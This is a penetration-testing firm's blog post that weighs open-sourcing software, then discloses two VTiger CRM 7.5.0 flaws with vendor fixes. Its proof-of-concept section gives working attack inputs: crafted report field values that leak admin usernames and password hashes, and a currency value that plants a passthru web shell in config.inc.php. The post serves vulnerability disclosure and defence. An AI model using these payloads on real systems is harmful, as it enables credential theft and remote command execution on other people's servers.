September 18, 2023
Episode 6
Lions, (V)Tigers, and Bears. Oh My!
Revealing Threats In Open-Source Software
Author: Jacob Elliott | Principal Penetration Tester
In the world of software development, the decision to open-source a project is a significant one. It involves revealing the inner workings of a program to the public, allowing anyone to view, modify, and distribute the source code. This approach has gained popularity in recent years, but it's not without its advantages and disadvantages. In this blog post, we'll explore the benefits and drawbacks of open-sourcing software as well as discuss new CVEs published as a result of penetration testing efforts at Dark Wolf Solutions.
The Benefits
1. Community Collaboration:
One of the most significant advantages of open-sourcing software is the potential for community-driven collaboration. Developers from around the world can contribute their expertise, identify bugs, and suggest improvements. This collective effort often leads to faster development cycles and higher-quality software.
2. Transparency and Trust:
Open source projects are inherently transparent. Users can inspect the codebase, ensuring there are no hidden vulnerabilities, backdoors, or malicious code. This transparency builds trust among users and fosters a sense of security in the software.
3. Cost-Efficiency:
By open-sourcing a project, you're essentially tapping into a global pool of talent. Instead of relying solely on an in-house team, you can leverage the skills of developers who are passionate about your project. This can lead to substantial cost savings, as community members often contribute their time and expertise for free.
4. Flexibility and Customization:
Open-source software provides a high level of customization. Users can modify the code to suit their specific needs, adapting the software to unique requirements that may not have been anticipated by the original developers.
5. Longevity and Maintenance:
When a project is open-sourced, it's less likely to suffer from "abandonment" issues. Even if the original creators move on, a dedicated community can continue to maintain and update the software.
The Drawbacks
1. Lack of Control:
Once a project is open-sourced, control over its development can become decentralized. While this can lead to innovation, it can also result in a loss of direction or conflicts over the project's future.
2. Security Risks:
While transparency is a strength, it can also be a weakness. Hackers can scrutinize the code for vulnerabilities, potentially exploiting them before they are discovered and patched. This means that security measures need to be robust and regularly updated.
3. Quality Assurance:
With contributions from a diverse community, maintaining a consistent level of code quality can be a challenge. It's crucial to have robust processes in place for code review and quality assurance.
4. Monetization Challenges:
For businesses, finding sustainable revenue models for open-source projects can be tricky. While some organizations thrive on support and service contracts, others may struggle to monetize their software effectively.
5. Intellectual Property Concerns:
Open-sourcing a project requires careful management of intellectual property rights. Licensing choices can impact how the code is used, and developers must be diligent in protecting their interests.
In conclusion, open-sourcing software can be a powerful force for innovation and collaboration, but it's not a one-size-fits-all solution. Each project and organization must carefully weigh the benefits against the potential drawbacks. When managed thoughtfully, open-sourcing can lead to remarkable outcomes, pushing the boundaries of what's possible in the world of software development.
Enter VTiger
A perfect example of the balancing act that software vendors must face when deciding to open-source their projects came about in a recent penetration testing engagement by Dark Wolf which involved an open-source CRM product, VTiger. On their website, VTiger boasts of being the “world’s leading open-source CRM product” with over 5 million downloads. Obviously this makes it an attractive target to hackers who may seek to exploit vulnerable businesses and gain valuable customer information or other forms of sensitive data.
After identifying that VTiger was being used in one of the in-scope systems, we downloaded and began to analyze the PHP source code in an attempt to locate potential vulnerabilities that we could use to gain access to the system. In PHP systems, this means searching for useful functions such as exec, system, unserialize, file_get_contents, file_put_contents, and many more, and then finding paths in the business logic of the application that could potentially be manipulated to use them in our favor. As experienced web application penetration testers, we also explored every available functionality of the target system to attempt to uncover vulnerabilities such as SQL Injection and Cross-Site Scripting that can put customers at risk. This exercise resulted in several major findings which we were able to report to both the customer as well as the VTiger vendor in order to better protect some of those 5 million downloads who may be using a vulnerable version of the product.
Authenticated SQL Injection (CVE-2023-38891)
Summary
In the Reports module in VTiger CRM v7.5.0, there is insufficient checking of the selected fields for the report which are stored and then later reintroduced as a second-order SQL Injection when the report is run. This allows the attacker to leak arbitrary fields from the database including user password hashes, webservice API access keys, and other sensitive data.
Proof Of Concept
After authenticating with the CRM, the user can browse to the Reports module and create a new report.
Due to the way that the tables are joined, it seems to work best to choose a module that has records in it as the primary module. We used Contacts, which contained one record.
Next, the user can select any legitimate fields from the primary module and continue the report creation process.
Finally, the user can click the button to save the final report, while intercepting connections with a proxy tool like BurpSuite. In the selected_fields parameter, the previously selected fields are passed to the save function in the format:
sql_table:sql_column:label:field_name
At this point, the user can modify the sql_table and sql_column to any arbitrary values they would like to leak from the database. For this POC, we used:
vtiger_users:user_name:Contacts_Salutation:salutationtype
and
vtiger_users:user_password:Contacts_First_Name:firstname
After forwarding the modified request, we are presented with the final report which contains the desired columns from the database, revealing the username and password hash of the admin user.
The lack of proper checking is introduced in modules/Reports/ReportRun.php. Each of the provided column names are split on “:”.
$selectedfields = explode(":", $fieldcolname);
And then if the user is not an admin, then the script checks to see if the field is in an array of permitted fields which is generated from the selected primary module for the report:
!in_array($selectedfields[3], $permitted_fields[$module])
However, recall the input that was given:
vtiger_users:user_name:Contacts_Salutation:salutationtype
Because the “permitted fields” are being checked against the element at index 3 in the array, the field that is being checked is salutationtype in the Contacts module, which is not considered sensitive and so it is permitted for export. However, the table and column provided in the first two elements in the array undergo no such verification, leading to the data exposure.
Remediation
This issue was fixed in this commit by changing the validation on selected fields so that they are checked against allowed fields hard-coded in each module.
Authenticated Remote-Code Execution (CVE Pending)
Summary
A vulnerability exists in the Users module in the current release of VTiger CRM Open Source version 7.5.0 which allows an authenticated attacker to write and execute arbitrary PHP code to config.inc.php.
Proof of Concept
When a user is authenticated in VTiger normally, it checks their setup status to see if this is a new user that is not fully configured yet. It also checks to see if this is the first user, meaning an admin who should configure certain global properties. If so they are redirected to a UserSetup action in the Users module.
$userSetupStatus = Users_CRMSetup::getUserSetupStatus($focus->id);
if ($userSetupStatus) {
$user = $focus->retrieve_entity_info($focus->id, 'Users'); $isFirstUser = Users_CRMSetup::isFirstUser($user);
if($isFirstUser) {
header('Location: index.php?module=Users&action=UserSetup');
}
In this action there is a check to see if the user has passed a global currency setting ("USA, Dollars" by default) and saves it using the updateBaseCurrency function.
//Handling the System Setup
$currencyName = $request->get('currency_name');
if(!empty($currencyName)) $userModuleModel->updateBaseCurrency($currencyName); $userModuleModel->insertEntryIntoCRMSetup($userRecordModel->getId()); //End
In the updateBaseCurrency function, the provided value is set as the global currency setting for the entire system in the database and it also calls the updateConfigFile function, which opens the config file and uses PHP str_replace to replace the existing value with the one provided.
public function updateConfigFile($currencyName) {
$currencyName = '$currency_name = \''.$currencyName.'\'';
//Updating in config inc file
$filename = 'config.inc.php';
if (file_exists($filename)) {
$contents = file_get_contents($filename);
$currentBaseCurrenyName = $this->getBaseCurrencyName();
$contents = str_replace('$currency_name = \''.$currentBaseCurrenyName.'\'', $currencyName, $contents);
file_put_contents($filename, $contents);
The user setup action in the current version of VTiger CRM does not check that the user is actually set up or not, or has permission to change global variables. It only assumes that if you are accessing that page then you are the person who should be configuring it. So, by using an existing session cookie and a CSRF token taken from any authenticated page load, a malicious user can POST in a currency value like:
USA, Dollars';@passthru($_GET['cmd']);//
This value is then written blindly to the config.inc.php file as:
//Master currency name
$currency_name = 'USA, Dollars';@passthru($_GET['cmd']);//';
Since the config file is loaded on every page, then a malicious user can simply pass a unix command as the cmd parameter and see output at the top of the page.
Remediation
The issue was fixed in this commit which checks that the submitted currency value is one of the ones found in a preset table of currently value names so that malicious content cannot be included. We will likely do some additional testing to ensure that the table of currency values cannot be manipulated in a similar manner in order to write it to the config file again.
Conclusion
In this case, using an open-source software model was advantageous to the vendor as well as the customer because it allowed Dark Wolf penetration testers to go more in-depth into the product than just a black-box assessment and uncover vulnerabilities that could have led to a system compromise if discovered by bad actors later. Additionally, by notifying the vendor, releasing this information to the public, and registering CVE numbers, Dark Wolf is able to uphold its commitment to the cybersecurity community at large and help improve the security posture of not only our customers, but other companies worldwide.